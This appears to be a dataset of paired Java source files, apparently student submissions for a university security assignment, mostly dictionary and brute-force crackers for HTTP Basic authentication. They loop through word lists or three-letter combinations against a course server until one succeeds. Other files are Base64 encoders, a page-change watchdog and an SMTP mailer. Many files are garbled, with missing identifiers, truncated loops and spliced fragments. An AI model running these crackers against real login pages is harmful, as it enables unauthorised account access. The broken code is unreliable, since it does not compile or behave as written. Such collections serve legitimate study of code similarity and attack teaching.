PrintWriter pw = new PrintWriter(); int flag=1; String filename = ""words""; try { String urlString = new String(""http://sec-crack.cs.rmit.edu./SEC/2/""); String thePassword= new String(); BufferedReader inputStream= new BufferedReader(new FileReader(filename)); String line=inputStream.readLine(); stime = System.currentTimeMillis(); while (line!= null && flag==1) { try { URL url = new URL (urlString); String userPassword = """" + "":"" + line; String encoding = new url.misc.BASE64Encoder().encode(userPassword.getBytes()); URLConnection uc = url.openConnection(); uc.setRequestProperty(""Authorization"", "" "" + encoding); InputStream content = (InputStream)uc.getContent(); endtime = System.currentTimeMillis(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line2; while ((line2 = in.readLine()) != null) { pw.println (line2); } flag=0; System.out.println(""process time is : "" +(endtime-stime)/1000 +"" seconds.""); }catch (MalformedURLException e) { flag=1; }catch (IOException e) { flag=1; } line=inputStream.readLine(); } inputStream.close(); } catch(FileNotFoundException e) { System.err.println(""File ""+filename+"" was not found""); } catch(IOException e) { System.err.println(""Error ""); } System.out.println(""content is ""+ sw.toString()); } }" "211.java 061.java" 024.java " import java.util.*; import java.net.*; import java.io.*; import javax.swing.*; public class PasswordCombination { private int pwdCounter = 0; private int startTime; private String str1,str2,str3; private String url = ""http://sec-crack.cs.rmit.edu./SEC/2/""; private String loginPwd; private String[] password; private HoldSharedData data; private char[] chars = {'A','B','C','D','E','F','G','H','I','J','K','L','M', 'N','O','P','Q','R','S','T','U','V','W','X','Y','Z', 'a','b','c','d','e','f','g','h','i','j','k','l','m', 'n','o','p','q','r','s','t','u','v','w','x','y','z'}; public PasswordCombination() { System.out.println(""Programmed by for INTE1070 Assignment 2""); String input = JOptionPane.showInputDialog( ""Enter number of threads"" ); if( input == null ) System.exit(0); int numOfConnections = Integer.parseInt( input ); startTime = System.currentTimeMillis(); int pwdCounter = 52*52*52 + 52*52 + 52; password = new String[pwdCounter]; doPwdCombination(); System.out.println(""Total Number of Passwords Generated: "" + pwdCounter); createConnectionThread( numOfConnections ); } private void doPwdCombination() { for( int i = 0; i < 52; i ++ ) { str1 = """" + chars[i]; password[pwdCounter++] = """" + chars[i]; System.err.print( str1 + "" | "" ); for( int j = 0; j < 52; j ++ ) { str2 = str1 + chars[j]; password[pwdCounter++] = str1 + chars[j]; for( int k = 0; k < 52; k ++ ) { str3 = str2 + chars[k]; password[pwdCounter++] = str2 + chars[k]; } } } System.err.println( ""\n"" ); } private void loadPasswords( ) { FileReader fRead; BufferedReader buf; String line = null; String fileName = ""words""; try { fRead = new FileReader( fileName ); buf = new BufferedReader(fRead); while((line = buf.readLine( )) != null) { password[pwdCounter++] = line; } } catch(FileNotFoundException e) { System.err.println(""File not found: "" + fileName); } catch(IOException ioe) { System.err.println(""IO Error "" + ioe); } } private void createConnectionThread( int input ) { data = new HoldSharedData( startTime, password, pwdCounter ); int numOfThreads = input; int batch = pwdCounter/numOfThreads + 1; numOfThreads = pwdCounter/batch + 1; System.out.println(""Number of Connection Threads Used:"" + numOfThreads); ConnectionThread[] connThread = new ConnectionThread[numOfThreads]; for( int index = 0; index < numOfThreads; index ++ ) { connThread[index] = new ConnectionThread( url, index, batch, data ); connThread[index].conn(); } } } " 016.java 182.java "import java.net.*; import java.io.*; public class Dictionary extends Authenticator { private String username; private char [] thisPassword; private URL url; private BufferedReader bf; public static void main(String [] args) { if(args.length!=3) { System.err.println( ""usage: Dictionary ""); System.exit(1); } Dictionary d = null; try { d = new Dictionary(args[0], args[1], args[2]); } catch (MalformedURLException me) { me.printStackTrace(); System.exit(1); } catch (FileNotFoundException fe) { fe.printStackTrace(); System.exit(1); } d.work(); } public Dictionary(String url, String username, String passwordFilename) throws MalformedURLException, FileNotFoundException { this.url = new URL(url); this.username = username; thisPassword = new char [] {'a'}; File f = new File(passwordFilename); FileReader fr = new FileReader(f); bf = new BufferedReader(fr); } public void work() { Authenticator.setDefault(this); HttpURLConnection uc = null; try { uc = (HttpURLConnection) url.openConnection(); uc.connect(); while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED && thisPassword !=null) { try { InputStream is = uc.getInputStream(); uc.connect(); } catch (ProtocolException pe) { uc = (HttpURLConnection) url.openConnection(); } catch (NullPointerException npe) { npe.printStackTrace(); System.exit(1); } } } catch (java.io.IOException e ) { e.printStackTrace(); System.exit(1); } System.out.println(""password="" + new String(thisPassword)); } public PasswordAuthentication getPasswordAuthentication() { String s=null; try { for(s = bf.readLine(); s!=null; s = bf.readLine()) { if(s.length()==3) { break; } } } catch (IOException e) { e.printStackTrace(); System.exit(1); } if(s.length()!=3) { thisPassword = null; } else { thisPassword = s.toCharArray(); } return new PasswordAuthentication(username, thisPassword); } } " 181.java 243.java "import java.net.*; import java.io.*; public class Dictionary { int attempts = 0; URLConnection conn = null; public static void main (String args[]){ Dictionary a = new Dictionary(); a.attack(args); } public void attack(String args[]) { try { String login = new String(""""); String url = new String(""http://sec-crack.cs.rmit.edu./SEC/2/index.php""); String passwd = new String(); passwd = getPasswd(); BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd))); String line; while ((line = in.readLine()) != null) { System.out.println(line); } System.out.println(""Password Cracked Successfully!!!""); System.out.println(""The passsword is :"" + passwd + ""and got after "" +attempts + "" tries""); } catch (IOException e) { String r = new String(e.getMessage()); if ( r != null) { System.out.println(""Message :"" +r); Dictionary a = new Dictionary(); a.attack(args); } else { System.out.println(""Trying again""); Dictionary a = new Dictionary(); a.attack(args); } } } public String getPasswd() { int i=0;int j=0; attempts++; int count =0; System.out.println(""Passing dictionary word and waiting for URL reply....... ""); String currentword = """"; String se = """"; try{ FileInputStream reader = new FileInputStream (""words""); DataInputStream in = new DataInputStream(reader); while (in.available() !=0) { currentword = in.readLine(); count++; } } catch( IOException e){} return currentword; } public InputStream openURLForInput (URL url, String uname, String pword) throws IOException { conn = url.openConnection(); conn.setDoInput (true); conn.setRequestProperty (""Authorization"", userNamePasswordBase64(uname,pword)); conn.connect (); return conn.getInputStream(); } public String userNamePasswordBase64(String username, String password) { return "" "" + base64Encode (username + "":"" + password); } private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; private static String base64Encode (String string) { String encodedString = """"; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } " "087.java 155.java 242.java" 059.java " public class Base64Converter { public static final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public static String encode ( String s ) { return encode ( s.getBytes ( ) ); } public static String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } " "159.java 250.java 258.java" 250.java " class C { private static byte[] cvtTable = { (byte)'A', (byte)'B', (byte)'C', (byte)'D', (byte)'E', (byte)'F', (byte)'G', (byte)'H', (byte)'I', (byte)'J', (byte)'K', (byte)'L', (byte)'M', (byte)'N', (byte)'O', (byte)'P', (byte)'Q', (byte)'R', (byte)'S', (byte)'T', (byte)'U', (byte)'V', (byte)'W', (byte)'X', (byte)'Y', (byte)'Z', (byte)'a', (byte)'b', (byte)'c', (byte)'d', (byte)'e', (byte)'f', (byte)'g', (byte)'h', (byte)'i', (byte)'j', (byte)'k', (byte)'l', (byte)'m', (byte)'n', (byte)'o', (byte)'p', (byte)'q', (byte)'r', (byte)'s', (byte)'t', (byte)'u', (byte)'v', (byte)'w', (byte)'x', (byte)'y', (byte)'z', (byte)'0', (byte)'1', (byte)'2', (byte)'3', (byte)'4', (byte)'5', (byte)'6', (byte)'7', (byte)'8', (byte)'9', (byte)'+', (byte)'/' }; static String encode(String name, String passwd) { byte input[] = (name + "":"" + passwd).getBytes(); byte[] output = new byte[((input.length / 3) + 1) * 4]; int ridx = 0; int chunk = 0; for (int i = 0; i < input.length; i += 3) { int left = input.length - i; if (left > 2) { chunk = (input[i] << 16)| (input[i + 1] << 8) | input[i + 2]; output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = cvtTable[(chunk&0xFC0) >> 6]; output[ridx++] = cvtTable[(chunk&0x3F)]; } else if (left == 2) { chunk = (input[i] << 16) | (input[i + 1] << 8); output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = cvtTable[(chunk&0xFC0) >> 6]; output[ridx++] = '='; } else { chunk = input[i] << 16; output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = '='; output[ridx++] = '='; } } return new String(output); } }" "159.java 059.java" 153.java "import java.io.*; import java.net.*; public class BruteForce { public static void main(String[] args) { BruteForce brute=new BruteForce(); brute.start(); } public void start() { char passwd[]= new char[3]; String password; String username=""""; String auth_data; String server_res_code; String required_server_res_code=""200""; int cntr=0; try { URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); URLConnection conn=null; for (int i=65;i<=122;i++) { if(i==91) { i=i+6; } passwd[0]= (char) i; for (int j=65;j<=122;j++) { if(j==91) { j=j+6; } passwd[1]=(char) j; for (int k=65;k<=122;k++) { if(k==91) { k=k+6; } passwd[2]=(char) k; password=new String(passwd); password=password.trim(); auth_data=null; auth_data=username + "":"" + password; auth_data=auth_data.trim(); auth_data=getBasicAuthData(auth_data); auth_data=auth_data.trim(); conn=url.openConnection(); conn.setDoInput (true); conn.setDoOutput(true); conn.setRequestProperty(""GET"", ""/SEC/2/ HTTP/1.1""); conn.setRequestProperty (""Authorization"", auth_data); server_res_code=conn.getHeaderField(0); server_res_code=server_res_code.substring(9,12); server_res_code.trim(); cntr++; System.out.println(cntr + "" . "" + ""PASSWORD SEND : "" + password + "" SERVER RESPONSE : "" + server_res_code); if( server_res_code.compareTo(required_server_res_code)==0 ) {System.out.println(""PASSWORD IS : "" + password + "" SERVER RESPONSE : "" + server_res_code ); i=j=k=123;} } } } } catch (Exception e) { System.err.print(e); } } public String getBasicAuthData (String getauthdata) { char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' } ; String encodedString = """"; byte bytes [] = getauthdata.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return "" "" + encodedString; } }" 155.java 033.java " class WebPage { private boolean success = false; private String pageContents= """"; public WebPage() { } public void setSuccess (boolean inSuccess) { success = inSuccess; } public boolean getSuccess() { return success; } public void setPageContents (String inPage) { pageContents = inPage; } public String getPageContents() { return pageContents; } } " 034.java 051.java "import java.io.*; import java.net.*; import java.*; import java.Runtime.*; import java.Object.*; import java.util.*; import java.util.StringTokenizer; public class Dictionary { String uname = """"; String pword = ""null""; Vector v = new Vector(); int runTime; public void doConnect(String connect, int num) { String = connect; try { URL secureSite = new URL(); URLConnection connection = secureSite.openConnection(); if (uname != null || pword != null) { for(int i=num; i> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } " "183.java 048.java" 258.java " import java.awt.*; import java.util.*; import java.net.*; import java.io.*; import java.*; public class Dictionary { public static void main(String args[]) throws Exception { String urlPath = null; if(args.length > 0) { urlPath = args[0]; System.out.println(""URL "" + urlPath); Dictionary dict = new Dictionary(urlPath); } else{ System.out.println(""Please enter URL at command prompt""); System.out.println(""eg. >java Dictionary http://sec-crack.cs.rmit.edu./SEC/2/""); } System.exit(0); } public Dictionary(String urlPath) throws Exception { linkToWeb(urlPath); } public boolean linkToWeb(String urlPath) throws Exception { HttpURLConnection connection; String word = null; String usrName = """"; String usrNamePwd = null; String encoding = null; URL = new URL(urlPath); BufferedReader inputStream = new BufferedReader(new FileReader(""words"")); word = inputStream.readLine(); while(word != null) { if(word.length() <= 3){ usrNamePwd = usrName +"":""+ word; encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes()); connection = (HttpURLConnection).openConnection(); connection.setRequestProperty(""Authorization"", "" "" + encoding); System.out.println(word); if(connection.getResponseCode() == 200){ System.out.println(""Password Found "" +word); return true; } connection.disconnect(); } word = inputStream.readLine(); } System.out.println(""Password not found"" ); return false; } public class Base64Converter { public final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public String encode ( String s ) { return encode ( s.getBytes ( ) ); } public String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } } " "257.java 048.java 185.java 059.java 183.java" 233.java "import java.util.*; import java.io.*; import java.*; public class Dogs5 { public static void main(String [] args) throws Exception { executes(""rm index.*""); executes(""wget http://www.cs.rmit.edu./students""); while (true) { String addr= ""wget http://www.cs.rmit.edu./students""; executes(addr); String hash1 = md5sum(""index.html""); String hash2 = md5sum(""index.html.1""); System.out.println(hash1 +""|""+ hash2); BufferedReader buf = new BufferedReader(new FileReader(""/home/k//Assign2/ulist1.txt"")); String line="" "" ; String line1="" "" ; String line2="" ""; String line3="" ""; String[] cad = new String[10]; executes(""./.sh""); int i=0; while ((line = buf.readLine()) != null) { line1=""http://www.cs.rmit.edu./students/images""+line; if (i==1) line2=""http://www.cs.rmit.edu./students/images""+line; if (i==2) line3=""http://www.cs.rmit.edu./students/images""+line; i++; } System.out.println(line1+"" ""+line2+"" ""+line3); executes(""wget ""+line1); executes(""wget ""+line2); executes(""wget ""+line3); String hash3 = md5sum(""index.html.2""); String hash4 = md5sum(""index.html.3""); String hash5 = md5sum(""index.html.4""); BufferedReader buf2 = new BufferedReader(new FileReader(""/home/k//Assign2/ulist1.txt"")); String linee="" "" ; String linee1="" "" ; String linee2="" ""; String linee3="" ""; executes(""./ip1.sh""); int j=0; while ((linee = buf2.readLine()) != null) { linee1=""http://www.cs.rmit.edu./students/images""+linee; if (j==1) linee2=""http://www.cs.rmit.edu./students/images""+linee; if (j==2) linee3=""http://www.cs.rmit.edu./students/images""+linee; j++; } System.out.println(line1+"" ""+line2+"" ""+line3); executes(""wget ""+linee1); executes(""wget ""+linee2); executes(""wget ""+linee3); String hash6 = md5sum(""index.html.5""); String hash7 = md5sum(""index.html.6""); String hash8 = md5sum(""index.html.7""); boolean pict=false; if (hash3.equals(hash6)) pict=true; boolean pict2=false; if (hash3.equals(hash6)) pict2=true; boolean pict3=false; if (hash3.equals(hash6)) pict3=true; if (hash1.equals(hash2)) { executes(""./difference.sh""); executes(""./mail.sh""); } else { if (pict || pict2 || pict3) { executes("".~/Assign2/difference.sh""); executes("".~/Assign2/mail2.sh""); } executes("".~/Assign2/difference.sh""); executes("".~/Assign2/mail.sh""); executes(""./reorder.sh""); executes(""rm index.html""); executes(""cp index.html.1 index.html""); executes(""rm index.html.1""); executes(""sleep 5""); } } } public static void executes(String comm) throws Exception { Process p = Runtime.getRuntime().exec(new String[]{""/usr/local//bash"",""-c"", comm }); BufferedReader bf = new BufferedReader(new InputStreamReader(p.getErrorStream())); String cad; while(( cad = bf.readLine()) != null) { System.out.println(); } p.waitFor(); } public static String md5sum(String file) throws Exception { String cad; String hash= "" ""; Process p = Runtime.getRuntime().exec(new String[]{""/usr/local//bash"", ""-c"", ""md5sum ""+file }); BufferedReader bf = new BufferedReader(new InputStreamReader(p.getInputStream())); while((bf = cad.readLine()) != null) { StringTokenizer word=new StringTokenizer(); hash=word.nextToken(); System.out.println(hash); } return hash; } } " 232.java 049.java "import java.net.*; import java.io.*; import java.*; import java.Runtime.*; import java.Object.*; import java.util.*; import java.util.StringTokenizer; public class ReadFile { private StringTokenizer tokenizer; private BufferedReader bf; private String line; private String first; Vector in = new Vector(); public void loadFile()throws NoSuchElementException, IOException { System.out.println(""in loadFile""); try{ bf = new BufferedReader(new FileReader(""words"")); } catch(FileNotFoundException fe){} catch(IOException io){} while((line = bf.readLine())!=null) { int index = 0; tokenizer = new StringTokenizer(line); try { first = tokenizer.nextToken(); if (first.length() == 3) { in.add(first); } } catch(NoSuchElementException n) { System.out.println(""File Loaded Succesfully""); } } } public Vector getVector() { return in; } public static void main (String args[]) { Vector v = new Vector(); try { System.out.println(""in ""); ReadFile rf = new ReadFile(); rf.loadFile(); v = rf.getVector(); } catch(IOException e) { System.out.println(e); } System.out.println(""size:"" + v.size()); for (int i = 0; i< v.size(); i++) { System.out.println(i+1+ "":"" + v.elementAt(i)); } } } " 050.java 113.java " import java.io.InputStream; import java.util.Properties; import javax.naming.Context; import javax.naming.InitialContext; import javax.rmi.PortableRemoteObject; import javax.sql.DataSource; public class MailsendPropertyHelper { private static Properties testProps; public MailsendPropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println(""Error init'ing the watchddog Props""); e.printStackTrace(); } return testProps.getProperty(pKey); } private static void initProps() throws Exception{ if(testProps == null){ testProps = new Properties(); InputStream fis = MailsendPropertyHelper.class.getResourceAsStream(""/mailsend.properties""); testProps.load(fis); } } } " 112.java 090.java "import java.io.*; import java.net.*; import java.security.*; import java.math.*; import java.*; import java.util.*; public class Dictionary { public static void main (String args[]) throws Exception { Socket socket = null; DataOutputStream = null; BufferedReader bf = null, fr = null; String retVal = null, StatusCode = ""HTTP/1.1 200 OK""; int found = 0, count = 0; String testpasswd; try { File inputFile = new File(""words""); fr = new BufferedReader(new FileReader(inputFile)); } catch (IOException ex) { ex.printStackTrace(); } stime = System.currentTimeMillis(); System.out.println(""Cracking password by Dictionary...""); while (((testpasswd = fr.readLine()) != null) && (found == 0)) { try { URL yahoo = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); URLConnection yc = yahoo.openConnection(); String authString = "":"" + testpasswd; String auth = new bf.misc.BASE64Encoder().encode(authString.getBytes()); yc.setRequestProperty(""Authorization"", "" "" + auth); count++; BufferedReader in = new BufferedReader( new InputStreamReader( yc.getInputStream())); String inputLine; while ((inputLine = in.readLine()) != null){ System.out.println(inputLine); etime = System.currentTimeMillis(); System.out.println(""Password found -- "" + testpasswd); System.out.println(""Time used = "" + ((etime - stime)/1000) + "" sec""); System.out.println(""# of attempt = "" + count); System.out.println(""End of cracking!""); found = 1; } in.print(); } catch (Exception ex) {} } fr.close(); if (found == 0) { System.out.println(""Sorry, password found.""); System.out.println(""# of attempt = "" + count); System.out.println(""End of cracking!""); } } }" 089.java 003.java "import java.io.*; import java.util.*; import java.net.*; import java.net.Authenticator; public class BruteForce { private String result =""""; public class customAuthenticator extends Authenticator { public customAuthenticator(String passwd) { this.pass = passwd; } protected PasswordAuthentication getPasswordAuthentication() { return new PasswordAuthentication("""",pass.toCharArray()); } public String pass; } public BruteForce() { java.util.Date d = java.util.Calendar.getInstance().getTime(); System.out.println(d.toString()); char words[] = { 'a','b','c','d','e', 'f', 'g', 'h', 'i','j','k','l','m','n','o','p', 'q','r','s','t','u','v','w','x','y','z', 'A','B','C','D','E', 'F', 'G', 'H', 'I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; String record = null; String url = ""http://sec-crack.cs.rmit.edu./SEC/2/""; char pass[] = {'x','x','x'}; int count=1; String passwd=new String(); HttpURLConnection connection = null; URL u = null; try { u = new URL(url); } catch (MalformedURLException e) { } for(int a=0;a= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } " "243.java 155.java 242.java" 107.java " import java.io.InputStream; import java.util.Properties; import javax.naming.Context; import javax.naming.InitialContext; import javax.rmi.PortableRemoteObject; import javax.sql.DataSource; public class WatchdogPropertyHelper { private static Properties testProps; public WatchdogPropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println(""Error init'ing the watchddog Props""); e.printStackTrace(); } return testProps.getProperty(pKey); } private static void initProps() throws Exception{ if(testProps == null){ testProps = new Properties(); InputStream fis = WatchdogPropertyHelper.class.getResourceAsStream(""/watchdog.properties""); testProps.load(fis); } } } " "108.java 112.java" 212.java " import java.net.*; import java.io.*; public class sendMail { public void sendMail(String mailServer, String recipient, String result) { try { Socket s = new Socket(mailServer, 25); BufferedReader in = new BufferedReader (new InputStreamReader(s.getInputStream(), ""8859_1"")); BufferedWriter out = new BufferedWriter (new OutputStreamWriter(s.getOutputStream(), ""8859_1"")); send(in, out, ""HELO client""); send(in, out, ""MAIL FROM: ""); send(in, out, ""RCPT : "" + recipient); send(in, out, ""DATA""); send(out, ""Subject: ""); send(out, ""From: Admin ""); send (out, ""\n""); send(out, result); send(out, ""\n.\n""); send(in, out, ""QUIT""); } catch (Exception e) { e.printStackTrace(); } } public void send(BufferedReader in, BufferedWriter out, String s) { try { out.write(s + ""\n""); out.flush(); System.out.println(s); s = in.readLine(); System.out.println(s); } catch (Exception e) { e.printStackTrace(); } } public void send(BufferedWriter out, String s) { try { out.write(s + ""\n""); out.flush(); System.out.println(s); } catch (Exception e) { e.printStackTrace(); } } }" 101.java 257.java " import java.awt.*; import java.util.*; import java.net.*; import java.io.*; import java.*; public class BruteForce { public final char [ ] letter = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'}; public static void main(String args[]) throws Exception { String urlPath = null; if(args.length > 0) { urlPath = args[0]; System.out.println(""URL "" + urlPath); BruteForce bForce = new BruteForce(urlPath); } else{ System.out.println(""Please enter URL at command prompt""); System.out.println(""eg. >java BruteForce http://sec-crack.cs.rmit.edu./SEC/2/""); } System.exit(0); } public BruteForce(String urlPath) throws Exception { linkToWeb(urlPath); } public boolean linkToWeb(String urlPath) throws Exception { HttpURLConnection connection; int i, j, k; URL = new URL(urlPath); String let1 = null; String let2 = null; String let3 = null; String usrName = """"; String usrNamePwd = null; String encoding = null; boolean ok = false; connection = (HttpURLConnection).openConnection(); for(i=0; i> 18; out [ outIndex++ ] = alphabet 